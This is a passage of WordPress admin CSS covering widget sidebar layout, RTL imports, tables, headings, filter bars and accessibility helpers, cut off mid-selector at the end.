	border: 1px dashed #c3c4c7;
	margin: 0 auto 10px;
	height: 45px;
	width: 100%;
	box-sizing: border-box;
}

#widgets-right .widget-placeholder {
	margin-top: 0;
}

#widgets-right .closed .widget-placeholder {
	height: 0;
	border: 0;
	margin-top: -10px;
}

/* Widget Sidebars */
.sidebar-name {
	position: relative;
	box-sizing: border-box;
}

.js .sidebar-name {
	cursor: pointer;
}

.sidebar-name .handlediv {
	float: left;
	width: 38px;
	height: 38px;
	border: 0;
	margin: 0;
	padding: 8px;
	background: none;
	cursor: pointer;
	outline: none;
}

#widgets-right .sidebar-name .handlediv {
	margin: 5px 0 0 3px;
}

.sidebar-name .handlediv:focus {
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

#widgets-left .sidebar-name .toggle-indicator {
	display: none;
}

#widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator,
#widgets-left .sidebar-name:hover .toggle-indicator,
#widgets-left .sidebar-name .handlediv:focus .toggle-indicator {
	display: block;
}

.sidebar-name .toggle-indicator:before {
	padding: 1px 0 1px 2px;
	border-radius: 50%;
}

.sidebar-name .handlediv:focus .toggle-indicator:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.sidebar-name h2,
.sidebar-name h3 {
	margin: 0;
	padding: 8px 10px;
	overflow: hidden;
	white-space: normal;
	line-height: 1.5;
}

.widgets-holder-wrap .description {
	padding: 0 0 15px;
	margin: 0;
	font-style: normal;
	color: #646970;
}

.widget-holder .description,
.inactive-sidebar .description {
	color: #50575e;
}

#widgets-right .widgets-holder-wrap .description {
	padding-right: 7px;
	padding-left: 7px;
}

/* Widgets 2-col Layout */
div.widget-liquid-left {
	margin: 0;
	width: 38%;
	float: right;
}

div.widget-liquid-right {
	float: left;
	width: 58%;
}

/* Widgets Left - Available Widgets */

div#widgets-left {
	padding-top: 12px;
}

div#widgets-left .closed .sidebar-name,
div#widgets-left .inactive-sidebar.closed .sidebar-name {
	margin-bottom: 10px;
}

div#widgets-left .sidebar-name h2,
div#widgets-left .sidebar-name h3 {
	padding: 10px 0;
	margin: 0 0 0 10px;
}

#widgets-left .widgets-holder-wrap,
div#widgets-left .widget-holder {
	background: transparent;
	border: none;
}

#widgets-left .widgets-holder-wrap {
	border: none;
	box-shadow: none;
}

#available-widgets .widget {
	margin: 0;
}

#available-widgets .widget:nth-child(odd) {
	clear: both;
}

#available-widgets .widget .widget-description {
	display: block;
	padding: 10px 15px;
	font-size: 12px;
	overflow-wrap: break-word;
	word-wrap: break-word;
	-ms-word-break: break-all;
	word-break: break-word;
	-webkit-hyphens: auto;
	hyphens: auto;
}

#available-widgets #widget-list {
	position: relative;
}

/* Inactive Sidebars */
#widgets-left .inactive-sidebar {
	clear: both;
	width: 100%;
	background: transparent;
	padding: 0;
	margin: 0 0 20px;
	border: none;
	box-shadow: none;
}

#widgets-left .inactive-sidebar.first {
	margin-top: 40px;
}

/* Not sure what this is for... */
div#widgets-left .inactive-sidebar .widget.expanded {
	right: auto;
}

.widget-title-action {
	float: left;
	position: relative;
}

div#widgets-left .inactive-sidebar .widgets-sortables {
	min-height: 42px;
	padding: 0;
	background: transparent;
	margin: 0;
	position: relative;
}

/* Widgets Right */

div#widgets-right .sidebars-column-1,
div#widgets-right .sidebars-column-2 {
	max-width: 450px;
}

div#widgets-right .widgets-holder-wrap {
	margin: 10px 0 0;
}

div#widgets-right .sidebar-description {
	min-height: 20px;
	margin-top: -5px;
}

div#widgets-right .sidebar-name h2,
div#widgets-right .sidebar-name h3 {
	padding: 15px 7px 15px 15px;
}

div#widgets-right .widget-top {
	padding: 0;
}

div#widgets-right .widgets-sortables {
	padding: 0 8px;
	margin-bottom: 9px;
	position: relative;
	min-height: 123px;
}

div#widgets-right .closed .widgets-sortables {
	min-height: 0;
	margin-bottom: 0;
}

.sidebar-name .spinner,
.remove-inactive-widgets .spinner {
	float: none;
	position: relative;
	top: -2px;
	margin: -5px 5px;
}

.sidebar-name .spinner {
	position: absolute;
	top: 18px;
	left: 30px;
}

/* Dragging a widget over a closed sidebar */
#widgets-right .widgets-holder-wrap.widget-hover {
	border-color: #787c82;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
}

/* Accessibility Mode */
.widget-access-link {
	float: left;
	margin: -5px 10px 10px 0;
}

.widgets_access #widgets-left .widget .widget-top {
	cursor: auto;
}

.widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description,
.widgets_access #wpwrap .widgets-holder-wrap.closed .widget,
.widgets_access #wpwrap .widget-control-edit {
	display: block;
}

.widgets_access #widgets-left .widget .widget-top:hover,
.widgets_access #widgets-right .widget .widget-top:hover {
	border-color: #dcdcde;
}

#available-widgets .widget-control-edit .edit,
#available-widgets .widget-action .edit,
#widgets-left .inactive-sidebar .widget-control-edit .add,
#widgets-left .inactive-sidebar .widget-action .add,
#widgets-right .widget-control-edit .add,
#widgets-right .widget-action .add {
	display: none;
}

.widget-control-edit {
	display: block;
	color: #646970;
	background: #f0f0f1;
	padding: 0 15px;
	line-height: 3.30769230;
	border-right: 1px solid #dcdcde;
}

#widgets-left .widget-control-edit:hover,
#widgets-right .widget-control-edit:hover {
	color: #fff;
	background: #3c434a;
	border-right: 0;
	outline: 1px solid #3c434a;
}

.widgets-holder-wrap .sidebar-name,
.widgets-holder-wrap .sidebar-description {
	-webkit-user-select: none;
	user-select: none;
}

.editwidget {
	margin: 0 auto;
}

.editwidget .widget-inside {
	display: block;
	padding: 0 15px;
}

.editwidget .widget-control-actions {
	margin-top: 20px;
}

.js .widgets-holder-wrap.closed .widget,
.js .widgets-holder-wrap.closed .sidebar-description,
.js .widgets-holder-wrap.closed .remove-inactive-widgets,
.js .widgets-holder-wrap.closed .description,
.js .closed br.clear {
	display: none;
}

.js .widgets-holder-wrap.closed .widget.ui-sortable-helper {
	display: block;
}

/* Hide Widget Settings by Default */
.widget-inside,
.widget-description {
	display: none;
}

.widget-inside {
	background: #fff;
}

.widget-inside select {
	max-width: 100%;
}

/* Dragging widgets over the available widget area show's a "Deactivate" message */
#removing-widget {
	display: none;
	font-weight: 400;
	padding-right: 15px;
	font-size: 12px;
	line-height: 1;
	color: #000;
}

.js #removing-widget {
	color: #72aee6;
}

.widget-control-noform,
#access-off,
.widgets_access .widget-action,
.widgets_access .handlediv,
.widgets_access #access-on,
.widgets_access .widget-holder .description,
.no-js .widget-holder .description {
	display: none;
}

.widgets_access .widget-holder,
.widgets_access #widget-list {
	padding-top: 10px;
}

.widgets_access #access-off {
	display: inline;
}

.widgets_access .sidebar-name,
.widgets_access .widget .widget-top {
	cursor: default;
}


/* Widgets Area Chooser */
.widget-liquid-left #widgets-left.chooser #available-widgets .widget,
.widget-liquid-left #widgets-left.chooser .inactive-sidebar {
	transition: opacity 0.1s linear;
}

.widget-liquid-left #widgets-left.chooser #available-widgets .widget,
.widget-liquid-left #widgets-left.chooser .inactive-sidebar {
	/* -webkit-filter: blur(1px); */
	opacity: 0.2;
	pointer-events: none;
}

.widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question {
	/* -webkit-filter: none; */
	opacity: 1;
	pointer-events: auto;
}

.widgets-chooser ul,
#widgets-left .widget-in-question .widget-top,
#available-widgets .widget-top:hover,
div#widgets-right .widget-top:hover,
#widgets-left .widget-top:hover {
	border-color: #8c8f94;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
}

.widgets-chooser ul.widgets-chooser-sidebars {
	margin: 0;
	list-style-type: none;
	max-height: 300px;
	overflow: auto;
}

.widgets-chooser {
	display: none;
}

.widgets-chooser ul {
	border: 1px solid #c3c4c7;
}

.widgets-chooser li {
	border-bottom: 1px solid #c3c4c7;
	background: #fff;
	margin: 0;
	position: relative;
}

.widgets-chooser .widgets-chooser-button {
	width: 100%;
	padding: 10px 35px 10px 15px;
	background: transparent;
	border: 0;
	box-sizing: border-box;
	text-align: right;
	cursor: pointer;
	transition: background 0.2s ease-in-out;
}

/* @todo looks like these hover/focus states are overridden by .widgets-chooser-selected */
.widgets-chooser .widgets-chooser-button:hover,
.widgets-chooser .widgets-chooser-button:focus {
	outline: none;
	text-decoration: underline;
}

.widgets-chooser li:last-child {
	border: none;
}

.widgets-chooser .widgets-chooser-selected .widgets-chooser-button {
	background: #2271b1;
	color: #fff;
}

.widgets-chooser .widgets-chooser-selected:before {
	content: "\f147";
	display: block;
	-webkit-font-smoothing: antialiased;
	font: normal 26px/1 dashicons;
	color: #fff;
	position: absolute;
	top: 7px;
	right: 5px;
}

.widgets-chooser .widgets-chooser-actions {
	padding: 10px 0 12px;
	text-align: center;
}

#available-widgets .widget .widget-top {
	cursor: pointer;
}

#available-widgets .widget.ui-draggable-dragging .widget-top {
	cursor: move;
}

/* =Specific widget styling
-------------------------------------------------------------- */
.text-widget-fields {
	position: relative;
}
.text-widget-fields [hidden] {
	display: none;
}
.text-widget-fields .wp-pointer.wp-pointer-top {
	position: absolute;
	z-index: 3;
	top: 100px;
	left: 10px;
	right: 10px;
}
.text-widget-fields .wp-pointer .wp-pointer-arrow {
	right: auto;
	left: 15px;
}
.text-widget-fields .wp-pointer .wp-pointer-buttons {
	line-height: 1.4;
}

.custom-html-widget-fields > p > .CodeMirror {
	border: 1px solid #dcdcde;
}
.custom-html-widget-fields code {
	padding-top: 1px;
	padding-bottom: 1px;
}
ul.CodeMirror-hints {
	z-index: 101; /* Due to z-index 100 set on .widget.open */
}
.widget-control-actions .custom-html-widget-save-button.button.validation-blocked {
	cursor: not-allowed;
}

/* =Media Queries
-------------------------------------------------------------- */

@media screen and (max-width: 782px) {
	.widgets-holder-wrap .widget-inside input[type="checkbox"],
	.widgets-holder-wrap .widget-inside input[type="radio"],
	.editwidget .widget-inside input[type="checkbox"], /* Selectors for the "accessibility mode" page. */
	.editwidget .widget-inside input[type="radio"] {
		margin: 0.25rem 0 0.25rem 0.25rem;
	}
}

@media screen and (max-width: 480px) {
	div.widget-liquid-left {
		width: 100%;
		float: none;
		border-left: none;
		padding-left: 0;
	}

	#widgets-left .sidebar-name {
		margin-left: 0;
	}

	#widgets-left #available-widgets .widget-top {
		margin-left: 0;
	}

	#widgets-left .inactive-sidebar .widgets-sortables {
		margin-left: 0;
	}

	div.widget-liquid-right {
		width: 100%;
		float: none;
	}

	div.widget {
		max-width: 480px;
	}

	.widget-access-link {
		float: none;
		margin: 15px 0 0;
	}
}

@media screen and (max-width: 320px) {
	div.widget {
		max-width: 320px;
	}
}

@media only screen and (min-width: 1250px) {
	#widgets-left #available-widgets .widget {
		width: 49%;
		float: right;
	}

	.widget.ui-draggable-dragging {
		min-width: 49%;
	}

	#widgets-left #available-widgets .widget:nth-child(even) {
		float: left;
	}

	#widgets-right .sidebars-column-1,
	#widgets-right .sidebars-column-2 {
		float: right;
		width: 49%;
	}

	#widgets-right .sidebars-column-1 {
		margin-left: 2%;
	}

	#widgets-right.single-sidebar .sidebars-column-1,
	#widgets-right.single-sidebar .sidebars-column-2 {
		float: none;
		width: 100%;
		margin: 0;
	}
}
/*! This file is auto-generated */
@import url(common-rtl.css);
@import url(forms-rtl.css);
@import url(admin-menu-rtl.css);
@import url(dashboard-rtl.css);
@import url(list-tables-rtl.css);
@import url(edit-rtl.css);
@import url(revisions-rtl.css);
@import url(media-rtl.css);
@import url(themes-rtl.css);
@import url(about-rtl.css);
@import url(nav-menus-rtl.css);
@import url(widgets-rtl.css);
@import url(site-icon-rtl.css);
@import url(l10n-rtl.css);
@import url(site-health-rtl.css);
/* 2 column liquid layout */
#wpwrap {
	height: auto;
	min-height: 100%;
	width: 100%;
	position: relative;
	-webkit-font-smoothing: subpixel-antialiased;
}

#wpcontent {
	height: 100%;
	padding-left: 20px;
}

#wpcontent,
#wpfooter {
	margin-left: 160px;
}

.folded #wpcontent,
.folded #wpfooter {
	margin-left: 36px;
}

#wpbody-content {
	padding-bottom: 65px;
	float: left;
	width: 100%;
	overflow: visible;
}

/* inner 2 column liquid layout */

.inner-sidebar {
	float: right;
	clear: right;
	display: none;
	width: 281px;
	position: relative;
}

.columns-2 .inner-sidebar {
	margin-right: auto;
	width: 286px;
	display: block;
}

.inner-sidebar #side-sortables,
.columns-2 .inner-sidebar #side-sortables {
	min-height: 300px;
	width: 280px;
	padding: 0;
}

.has-right-sidebar .inner-sidebar {
	display: block;
}

.has-right-sidebar #post-body {
	float: left;
	clear: left;
	width: 100%;
	margin-right: -2000px;
}

.has-right-sidebar #post-body-content {
	margin-right: 300px;
	float: none;
	width: auto;
}

/* 2 columns main area */

#col-left {
	float: left;
	width: 35%;
}

#col-right {
	float: right;
	width: 65%;
}

#col-left .col-wrap {
	padding: 0 6px 0 0;
}

#col-right .col-wrap {
	padding: 0 0 0 6px;
}

/* utility classes */
.alignleft {
	float: left;
}

.alignright {
	float: right;
}

.textleft {
	text-align: left;
}

.textright {
	text-align: right;
}

.clear {
	clear: both;
}

/* modern clearfix */
.wp-clearfix:after {
	content: "";
	display: table;
	clear: both;
}

/* Hide visually but not from screen readers */
.screen-reader-text,
.screen-reader-text span,
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}

.button .screen-reader-text {
	height: auto; /* Fixes a Safari+VoiceOver bug, see ticket #42006 */
}

.screen-reader-text + .dashicons-external {
	margin-top: -1px;
	margin-left: 2px;
}

.screen-reader-shortcut {
	position: absolute;
	top: -1000em;
	left: 6px;
	height: auto;
	width: auto;
	display: block;
	font-size: 14px;
	font-weight: 600;
	padding: 15px 23px 14px;
	/* Background and color set to prevent false positives in automated accessibility tests. */
	background: #f0f0f1;
	color: #2271b1;
	z-index: 100000;
	line-height: normal;
}

.screen-reader-shortcut:focus {
	top: -25px;
	/* Overrides a:focus in the admin. See ticket #56789. */
	color: #2271b1;
	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
	text-decoration: none;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.hidden,
.js .closed .inside,
.js .hide-if-js,
.no-js .hide-if-no-js,
.js.wp-core-ui .hide-if-js,
.js .wp-core-ui .hide-if-js,
.no-js.wp-core-ui .hide-if-no-js,
.no-js .wp-core-ui .hide-if-no-js {
	display: none;
}

/* @todo: Take a second look. Large chunks of shared color, from the colors.css merge */
.widget-top,
.menu-item-handle,
.widget-inside,
#menu-settings-column .accordion-container,
#menu-management .menu-edit,
.manage-menus,
table.widefat,
.stuffbox,
p.popular-tags,
.widgets-holder-wrap,
.wp-editor-container,
.popular-tags,
.feature-filter,
.comment-ays {
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

table.widefat,
.wp-editor-container,
.stuffbox,
p.popular-tags,
.widgets-holder-wrap,
.popular-tags,
.feature-filter,
.comment-ays {
	background: #fff;
}

/* general */
html,
body {
	height: 100%;
	margin: 0;
	padding: 0;
}

body {
	background: #f0f0f1;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 13px;
	line-height: 1.4em;
	min-width: 600px;
}

body.iframe {
	min-width: 0;
	padding-top: 1px;
}

body.modal-open {
	overflow: hidden;
}

body.mobile.modal-open #wpwrap {
	overflow: hidden;
	position: fixed;
	height: 100%;
}

iframe,
img {
	border: 0;
}

td {
	font-family: inherit;
	font-size: inherit;
	font-weight: inherit;
	line-height: inherit;
}

/* Any change to the default link style must be applied to button-link too. */
a {
	color: #2271b1;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

a,
div {
	outline: 0;
}

a:hover,
a:active {
	color: #135e96;
}

a:focus,
a:focus .media-icon img,
a:focus .plugin-icon,
.wp-person a:focus .gravatar {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#adminmenu a:focus {
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
	outline-offset: -1px;
}

.screen-reader-text:focus {
	box-shadow: none;
	outline: none;
}

blockquote,
q {
	quotes: none;
}

blockquote:before,
blockquote:after,
q:before,
q:after {
	content: "";
	content: none;
}

p,
.wp-die-message {
	font-size: 13px;
	line-height: 1.5;
	margin: 1em 0;
}

blockquote {
	margin: 1em;
}

li,
dd {
	margin-bottom: 6px;
}

h1,
h2,
h3,
h4,
h5,
h6 {
	display: block;
	font-weight: 600;
}

h1 {
	color: #1d2327;
	font-size: 2em;
	margin: .67em 0;
}

h2,
h3 {
	color: #1d2327;
	font-size: 1.3em;
	margin: 1em 0;
}

.update-core-php h2 {
	margin-top: 4em;
}

.update-php h2,
.update-messages h2,
h4 {
	font-size: 1em;
	margin: 1.33em 0;
}

h5 {
	font-size: 0.83em;
	margin: 1.67em 0;
}

h6 {
	font-size: 0.67em;
	margin: 2.33em 0;
}

ul,
ol {
	padding: 0;
}

ul {
	list-style: none;
}

ol {
	list-style-type: decimal;
	margin-left: 2em;
}

ul.ul-disc {
	list-style: disc outside;
}

ul.ul-square {
	list-style: square outside;
}

ol.ol-decimal {
	list-style: decimal outside;
}

ul.ul-disc,
ul.ul-square,
ol.ol-decimal {
	margin-left: 1.8em;
}

ul.ul-disc > li,
ul.ul-square > li,
ol.ol-decimal > li {
	margin: 0 0 0.5em;
}

/* rtl:ignore */
.ltr {
	direction: ltr;
}

/* rtl:ignore */
.code,
code {
	font-family: Consolas, Monaco, monospace;
	direction: ltr;
	unicode-bidi: embed;
}

kbd,
code {
	padding: 3px 5px 2px;
	margin: 0 1px;
	background: #f0f0f1;
	background: rgba(0, 0, 0, 0.07);
	font-size: 13px;
}

.subsubsub {
	list-style: none;
	margin: 8px 0 0;
	padding: 0;
	font-size: 13px;
	float: left;
	color: #646970;
}

.subsubsub a {
	line-height: 2;
	padding: .2em;
	text-decoration: none;
}

.subsubsub a .count,
.subsubsub a.current .count {
	color: #50575e; /* #f1f1f1 background */
	font-weight: 400;
}

.subsubsub a.current {
	font-weight: 600;
	border: none;
}

.subsubsub li {
	display: inline-block;
	margin: 0;
	padding: 0;
	white-space: nowrap;
}

/* .widefat - main style for tables */
.widefat {
	border-spacing: 0;
	width: 100%;
	clear: both;
	margin: 0;
}

.widefat * {
	word-wrap: break-word;
}

.widefat a,
.widefat button.button-link {
	text-decoration: none;
}

.widefat td,
.widefat th {
	padding: 8px 10px;
}

.widefat thead th,
.widefat thead td {
	border-bottom: 1px solid #c3c4c7;
}

.widefat tfoot th,
.widefat tfoot td {
	border-top: 1px solid #c3c4c7;
	border-bottom: none;
}

.widefat .no-items td {
	border-bottom-width: 0;
}

.widefat td {
	vertical-align: top;
}

.widefat td,
.widefat td p,
.widefat td ol,
.widefat td ul {
	font-size: 13px;
	line-height: 1.5em;
}

.widefat th,
.widefat thead td,
.widefat tfoot td {
	text-align: left;
	line-height: 1.3em;
	font-size: 14px;
}

.widefat th input,
.updates-table td input,
.widefat thead td input,
.widefat tfoot td input {
	margin: 0 0 0 8px;
	padding: 0;
	vertical-align: text-top;
}

.widefat .check-column {
	width: 2.2em;
	padding: 6px 0 25px;
	vertical-align: top;
}

.widefat tbody th.check-column {
	padding: 9px 0 22px;
}

.widefat thead td.check-column,
.widefat tbody th.check-column,
.updates-table tbody td.check-column,
.widefat tfoot td.check-column {
	padding: 11px 0 0 3px;
}

.widefat thead td.check-column,
.widefat tfoot td.check-column {
	padding-top: 4px;
	vertical-align: middle;
}

.update-php div.updated,
.update-php div.error {
	margin-left: 0;
}

.js-update-details-toggle .dashicons {
	text-decoration: none;
}

.js-update-details-toggle[aria-expanded="true"] .dashicons::before {
	content: "\f142";
}

.no-js .widefat thead .check-column input,
.no-js .widefat tfoot .check-column input {
	display: none;
}

.widefat .num,
.column-comments,
.column-links,
.column-posts {
	text-align: center;
}

.widefat th#comments {
	vertical-align: middle;
}

.wrap {
	margin: 10px 20px 0 2px;
}

.wrap > h2:first-child, /* Back-compat for pre-4.4 */
.wrap [class$="icon32"] + h2, /* Back-compat for pre-4.4 */
.postbox .inside h2, /* Back-compat for pre-4.4 */
.wrap h1 {
	font-size: 23px;
	font-weight: 400;
	margin: 0;
	padding: 9px 0 4px;
	line-height: 1.3;
}

.wrap h1.wp-heading-inline {
	display: inline-block;
	margin-right: 5px;
}

.wp-header-end {
	visibility: hidden;
	margin: -2px 0 0;
}

.subtitle {
	margin: 0;
	padding-left: 25px;
	color: #50575e;
	font-size: 14px;
	font-weight: 400;
	line-height: 1;
}

.subtitle strong {
	word-break: break-all;
}

.wrap .add-new-h2, /* deprecated */
.wrap .add-new-h2:active, /* deprecated */
.wrap .page-title-action,
.wrap .page-title-action:active {
	display: inline-block;
	position: relative;
	box-sizing: border-box;
	cursor: pointer;
	white-space: nowrap;
	text-decoration: none;
	text-shadow: none;
	top: -3px;
	margin-left: 4px;
	border: 1px solid #2271b1;
	border-radius: 3px;
	background: #f6f7f7;
	font-size: 13px;
	font-weight: 400;
	line-height: 2.15384615;
	color: #2271b1; /* use the standard color used for buttons */
	padding: 0 10px;
	min-height: 30px;
	-webkit-appearance: none;

}

.wrap .wp-heading-inline + .page-title-action {
	margin-left: 0;
}

.wrap .add-new-h2:hover, /* deprecated */
.wrap .page-title-action:hover {
	background: #f0f0f1;
	border-color: #0a4b78;
	color: #0a4b78;
}

/* lower specificity: color needs to be overridden by :hover and :active */
.page-title-action:focus {
	color: #0a4b78;
}

/* Dashicon for language options on General Settings and Profile screens */
.form-table th label[for="locale"] .dashicons,
.form-table th label[for="WPLANG"] .dashicons {
	margin-left: 5px;
}

.wrap .page-title-action:focus {
	border-color: #3582c4;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wrap h1.long-header {
	padding-right: 0;
}

.wp-dialog {
	background-color: #fff;
}

.widgets-chooser ul,
#widgets-left .widget-in-question .widget-top,
#available-widgets .widget-top:hover,
div#widgets-right .widget-top:hover,
#widgets-left .widget-top:hover {
	border-color: #8c8f94;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
}

.sorthelper {
	background-color: #c5d9ed;
}

.ac_match,
.subsubsub a.current {
	color: #000;
}

.striped > tbody > :nth-child(odd),
ul.striped > :nth-child(odd),
.alternate {
	background-color: #f6f7f7;
}

.bar {
	background-color: #f0f0f1;
	border-right-color: #4f94d4;
}

/* Helper classes for plugins to leverage the active WordPress color scheme */

.highlight {
	background-color: #f0f6fc;
	color: #3c434a;
}

.wp-ui-primary {
	color: #fff;
	background-color: #2c3338;
}
.wp-ui-text-primary {
	color: #2c3338;
}

.wp-ui-highlight {
	color: #fff;
	background-color: #2271b1;
}
.wp-ui-text-highlight {
	color: #2271b1;
}

.wp-ui-notification {
	color: #fff;
	background-color: #d63638;
}
.wp-ui-text-notification {
	color: #d63638;
}

.wp-ui-text-icon {
	color: #8c8f94; /* same as new icons */
}

/* For emoji replacement images */
img.emoji {
	display: inline !important;
	border: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 .07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
	box-shadow: none !important;
}

/*------------------------------------------------------------------------------
  1.0 - Text Styles
------------------------------------------------------------------------------*/

.widget .widget-top,
.postbox .hndle,
.stuffbox .hndle,
.control-section .accordion-section-title,
.sidebar-name,
#nav-menu-header,
#nav-menu-footer,
.menu-item-handle,
.checkbox,
.side-info,
#your-profile #rich_editing,
.widefat thead th,
.widefat thead td,
.widefat tfoot th,
.widefat tfoot td {
	line-height: 1.4em;
}

.widget .widget-top,
.menu-item-handle {
	background: #f6f7f7;
	color: #1d2327;
}

.stuffbox .hndle {
	border-bottom: 1px solid #c3c4c7;
}

.quicktags {
	background-color: #c3c4c7;
	color: #000;
	font-size: 12px;
}

.icon32 {
	display: none;
}

/* @todo can we combine these into a class or use an existing dashicon one? */
.welcome-panel .welcome-panel-close:before,
.tagchecklist .ntdelbutton .remove-tag-icon:before,
#bulk-titles .ntdelbutton:before,
.notice-dismiss:before {
	background: none;
	color: #787c82;
	content: "\f153";
	display: block;
	font: normal 16px/20px dashicons;
	speak: never;
	height: 20px;
	text-align: center;
	width: 20px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.welcome-panel .welcome-panel-close:before {
	margin: 0;
}

.tagchecklist .ntdelbutton .remove-tag-icon:before {
	margin-left: 2px;
	border-radius: 50%;
	color: #2271b1;
	/* vertically center the icon cross browsers */
	line-height: 1.28;
}

.tagchecklist .ntdelbutton:focus {
	outline: 0;
}

.tagchecklist .ntdelbutton:hover .remove-tag-icon:before,
.tagchecklist .ntdelbutton:focus .remove-tag-icon:before,
#bulk-titles .ntdelbutton:hover:before,
#bulk-titles .ntdelbutton:focus:before {
	color: #d63638;
}

.tagchecklist .ntdelbutton:focus .remove-tag-icon:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.key-labels label {
	line-height: 24px;
}

strong, b {
	font-weight: 600;
}

.pre {
	/* https://developer.mozilla.org/en-US/docs/CSS/white-space */
	white-space: pre-wrap; /* css-3 */
	word-wrap: break-word; /* IE 5.5 - 7 */
}

.howto {
	color: #646970;
	display: block;
}

p.install-help {
	margin: 8px 0;
	font-style: italic;
}

.no-break {
	white-space: nowrap;
}

hr {
	border: 0;
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #f6f7f7;
}

.row-actions span.delete a,
.row-actions span.trash a,
.row-actions span.spam a,
.plugins a.delete,
#all-plugins-table .plugins a.delete,
#search-plugins-table .plugins a.delete,
.submitbox .submitdelete,
#media-items a.delete,
#media-items a.delete-permanently,
#nav-menu-footer .menu-delete,
#delete-link a.delete,
a#remove-post-thumbnail,
.privacy_requests .remove-personal-data .remove-personal-data-handle {
	color: #b32d2e;
}

abbr.required,
span.required,
.file-error,
.row-actions .delete a:hover,
.row-actions .trash a:hover,
.row-actions .spam a:hover,
.plugins a.delete:hover,
#all-plugins-table .plugins a.delete:hover,
#search-plugins-table .plugins a.delete:hover,
.submitbox .submitdelete:hover,
#media-items a.delete:hover,
#media-items a.delete-permanently:hover,
#nav-menu-footer .menu-delete:hover,
#delete-link a.delete:hover,
a#remove-post-thumbnail:hover,
.privacy_requests .remove-personal-data .remove-personal-data-handle:hover {
	color: #b32d2e;
	border: none;
}

/*------------------------------------------------------------------------------
  3.0 - Actions
------------------------------------------------------------------------------*/

#major-publishing-actions {
	padding: 10px;
	clear: both;
	border-top: 1px solid #dcdcde;
	background: #f6f7f7;
}

#delete-action {
	float: left;
	line-height: 2.30769231; /* 30px */
}

#delete-link {
	line-height: 2.30769231; /* 30px */
	vertical-align: middle;
	text-align: left;
	margin-left: 8px;
}

#delete-link a {
	text-decoration: none;
}

#publishing-action {
	text-align: right;
	float: right;
	line-height: 1.9;
}

#publishing-action .spinner {
	float: none;
	margin-top: 5px;
}

#misc-publishing-actions {
	padding: 6px 0 0;
}

.misc-pub-section {
	padding: 6px 10px 8px;
}

.word-wrap-break-word,
.misc-pub-filename {
	word-wrap: break-word;
}

#minor-publishing-actions {
	padding: 10px 10px 0;
	text-align: right;
}

#save-post {
	float: left;
}

.preview {
	float: right;
}

#sticky-span {
	margin-left: 18px;
}

.approve,
.unapproved .unapprove {
	display: none;
}

.unapproved .approve,
.spam .approve,
.trash .approve {
	display: inline;
}

td.action-links,
th.action-links {
	text-align: right;
}

#misc-publishing-actions .notice {
	margin-left: 10px;
	margin-right: 10px;
}

/* Filter bar */
.wp-filter {
	display: inline-block;
	position: relative;
	box-sizing: border-box;
	margin: 12px 0 25px;
	padding: 0 10px;
	width: 100%;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	border: 1px solid #c3c4c7;
	background: #fff;
	color: #50575e;
	font-size: 13px;
}

.wp-filter a {
	text-decoration: none;
}

.filter-count {
	display: inline-block;
	vertical-align: middle;
	min-width: 4em;
}

.title-count,
.filter-count .count {
	display: inline-block;
	position: relative;
	top: -1px;
	padding: 4px 10px;
	border-radius: 30px;
	background: #646970;
	color: #fff;
	font-size: 14px;
	font-weight: 600;
}

/* not a part of filter bar, but derived from it, so here for now */
.title-count {
	display: inline;
	top: -3px;
	margin-left: 5px;
	margin-right: 20px;
}

.filter-items {
	float: left;
}

.filter-links {
	display: inline-block;
	margin: 0;
}

.filter-links li {
	display: inline-block;
	margin: 0;
}

.filter-links li > a {
	display: inline-block;
	margin: 0 10px;
	padding: 15px 0;
	border-bottom: 4px solid #fff;
	color: #646970;
	cursor: pointer;
}

.filter-links .current {
	box-shadow: none;
	border-bottom: 4px solid #646970;
	color: #1d2327;
}

.filter-links li > a:hover,
.filter-links li > a:focus,
.show-filters .filter-links a.current:hover,
.show-filters .filter-links a.current:focus {
	color: #135e96;
}

.wp-filter .search-form {
	float: right;
	margin: 10px 0;
}

.wp-filter .search-form input[type="search"] {
	width: 280px;
	max-width: 100%;
}

.wp-filter .search-form select {
	margin: 0;
}

/* Use flexbox only on the plugins install page. The `filter-links` and search form children will become flex items. */
.plugin-install-php .wp-filter {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
	align-items: center;
}

.wp-filter .search-form.search-plugins {
	/* This element is a flex item: the inherited float won't have any effect. */
	margin-top: 0;
}

.wp-filter .search-form.search-plugins select,
.wp-filter .search-form.search-plugins .wp-filter-search,
